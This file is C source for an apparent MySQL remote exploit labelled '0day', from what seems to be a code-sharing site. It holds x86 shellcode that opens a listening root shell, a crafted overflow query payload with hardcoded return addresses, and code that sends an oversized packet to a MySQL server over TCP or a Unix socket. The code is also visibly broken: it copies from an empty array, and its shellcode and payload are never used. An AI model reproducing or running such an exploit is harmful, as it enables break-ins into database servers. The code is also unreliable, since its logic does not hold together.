MySQL_Exploit.rar_0day_C 0day_Exploit_mysql c

/* **************************************************************** MySQL_Exploit.c Exp [-s socket]|[-h host][-p port]][-x] **************************************************************** */ #include <sys/socket.h> #include <arpa/inet.h> #include <string.h> #include <netinet/in.h> #include <stdio.h> #include "mysql.h" #include <unistd.h> #include <netdb.h> //add by 慕容公子 2009.09.30 struct sockaddr_un { u_char sun_len; /* sockaddr len including null */ u_char sun_family; /* AF_UNIX */ char sun_path[104]; /* path name (gag) */ }; //add end int thd = 0x8b1b338; int tbl = 0x8b3a880; #define USOCK2 "/tmp/mysql.sock" char addr_tdh[4]; char addr_tbl[4]; char addr_ret[4]; #define TBL_POS 182 #define THD_POS 178 #define RET_POS 174 #define SHL_POS 34 char shcode[] = { 0x6a, 0x66, 0x58, 0x6a, 0x01, 0x5b, 0x99, 0x52, 0x53, 0x6a, 0x02, 0x89 // 12 ,0xe1, 0xcd, 0x80, 0x52, 0x43, 0x68, 0xff, 0x02, 0x0a, 0x93, 0x89, 0xe1 ,0x6a, 0x10, 0x51, 0x50, 0x89, 0xe1, 0x89, 0xc6, 0xb0, 0x66, 0xcd, 0x80 ,0x43, 0x43, 0xb0, 0x66, 0xcd, 0x80, 0x52, 0x56, 0x89, 0xe1, 0x43, 0xb0 ,0x66, 0xcd, 0x80, 0x89, 0xd9, 0x89, 0xc3, 0xb0, 0x3f, 0x49, 0xcd, 0x80 ,0x41, 0xe2, 0xf8, 0x52, 0x68, 0x6e, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x2f ,0x62, 0x69, 0x89, 0xe3, 0x52, 0x53, 0x89, 0xe1, 0xb0, 0x0b, 0xcd, 0x80 // 12*7= 84 }; int tmp_idx = 0; int dump_packet_len = 7; char table_dump_packet[] = { 0x03, 0x00, 0x00, 0x00, 0x13, 0x02, 0x73 }; int payload_len = 371; // header packet + select '0x39' char query_payload[] = { 0x6f, 0x01, 0x00, 0x00, 0x03, 0x73, 0x65, 0x6c, 0x65, 0x63, 0x74, 0x20, 0x27, 0x31, 0x32, 0x33 // 16 Some junk from position 6 ... , 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x31, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36 // 32 , 0x37, 0x38, 0x39, 0x30, 0x5f, 0x32, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39 // 48 , 0x30, 0x5f, 0x33, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x34 // 64 , 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x35, 0x5f, 0x31, 0x32 // 72 , 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x36, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35 // 88 , 0x36, 0x37, 0x38, 0x39, 0x30, 0x5f, 0x37, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38 // 94 , 0x39, 0x30, 0x5f, 0x38, 0x5f, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x30, 0x6a // 112 , 0x0b, 0x58, 0x99, 0x52, 0x68, 0x6e, 0x2f, 0x73, 0x68, 0x68, 0x2f, 0x2f, 0x62, 0x69, 0x89, 0xe3 // 128 endsh 118 , 0x52, 0x53, 0x89, 0xe1, 0xcd, 0x80, 0x42, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49, 0x4c, 0x4d // 144 , 0x4e, 0x4f, 0x50, 0x51, 0x52, 0x53, 0x54, 0x55, 0x56, 0x5a, 0x5f, 0x61, 0x61, 0x62, 0x62, 0x63 // 160 , 0x63, 0x64, 0x64, 0xa0, 0xe9, 0xff, 0xbf, 0xa0, 0xe9, 0xff, 0xbf, 0xa0, 0xe9, 0x6c, 0xbf, 0x6d // 176 , 0x6d, 0x6e, 0x6e, 0xff, 0x6f, 0x70, 0x70, 0x71, 0x71, 0x14, 0xfe, 0x2e, 0x98, 0x27, 0x72, 0x0d // len=16*4+1=65; }; int anon_pckt_len = 65; #define USOCK "/tmp/mysql2.sock" int tcp_conn (char *hostname, int port) { int sockfd; int n; struct sockaddr_in servaddr; struct hostent *hp; if ((hp = gethostbyname (hostname)) == 0) { perror ("gethostbyname"); exit (0); } if ((sockfd = socket (AF_INET, SOCK_STREAM, 0)) < 0) { perror ("socket"); exit (1); } bzero ((char *) &servaddr, sizeof (servaddr)); servaddr.sin_family = AF_INET; servaddr.sin_port = htons (port); memcpy(&servaddr.sin_addr, hp->h_addr, hp->h_length); if (servaddr.sin_addr.s_addr <= 0) { perror ("bad address after gethostbyname"); exit (1); } if (connect (sockfd, (struct sockaddr *) &servaddr, sizeof (servaddr)) < 0) { perror ("connect"); exit (1); } return sockfd; } int unix_conn (char *path) { int fd, len; struct sockaddr_un sa; fd = socket (PF_UNIX, SOCK_STREAM, 0); if (fd < 0) { perror ("cli: socket(PF_UNIX,SOCK_STREAM)"); exit (1); } sa.sun_family = AF_UNIX; strcpy (sa.sun_path, path); len = sizeof (sa); if (connect (fd, (struct sockaddr *) &sa, len) < 0) { perror ("cli: connect()"); exit (1); } return fd; } int main (int argc, char *argv[]) { int fd; int i, ret; char packet[65535]; char *path; char *host; int port = 3306; char buf[65535]; int db_len = 0; int pckt_len = anon_pckt_len; int unix_sock = 1; char c; //add by 慕容公子 int anon_pckt[]={}; path = strdup (USOCK); host = strdup ("127.0.0.1"); opterr = 0; while ((c = getopt (argc, argv, "s:h:p:n:")) != -1) switch (c) { case 's': path = strdup (optarg); unix_sock = 1; break; case 'h': host = strdup (optarg); unix_sock = 0; break; case 'p': port = atoi (optarg); unix_sock = 0; break; case 'n': db_len = atoi (optarg); break; default: break; } bzero (packet, 65535); pckt_len = anon_pckt_len + db_len; printf ("%d\n", pckt_len); for (i = 0; i < pckt_len; i++) packet[i] = anon_pckt[i]; if (db_len) for (i = anon_pckt_len - 2; i < pckt_len; i++) packet[i] = 'A'; packet[pckt_len - 1] = '\0'; packet[0] = (char) (anon_pckt[0] + db_len) & 0xff; packet[1] = (char) ((anon_pckt[0] + db_len) >> 8) & 0xff; for (i = 0; i < pckt_len; i++) printf (" %.2x%c", (unsigned char) packet[i], ((i + 1) % 16 ? ' ' : '\n')); printf ("\n"); if (unix_sock) fd = unix_conn (path); else fd = tcp_conn (host, port); sleep (1); ret = recv (fd, buf, 65535, 0); if (send (fd, packet, pckt_len, 0) != pckt_len) { perror ("cli: send(anon_pckt)"); exit (1); } ret = recv (fd, buf, 65535, 0); for (i = 0; i < ret; i++) printf ("%c", (isalpha (buf[i]) ? buf[i] : '.')); printf ("\n"); return 0; }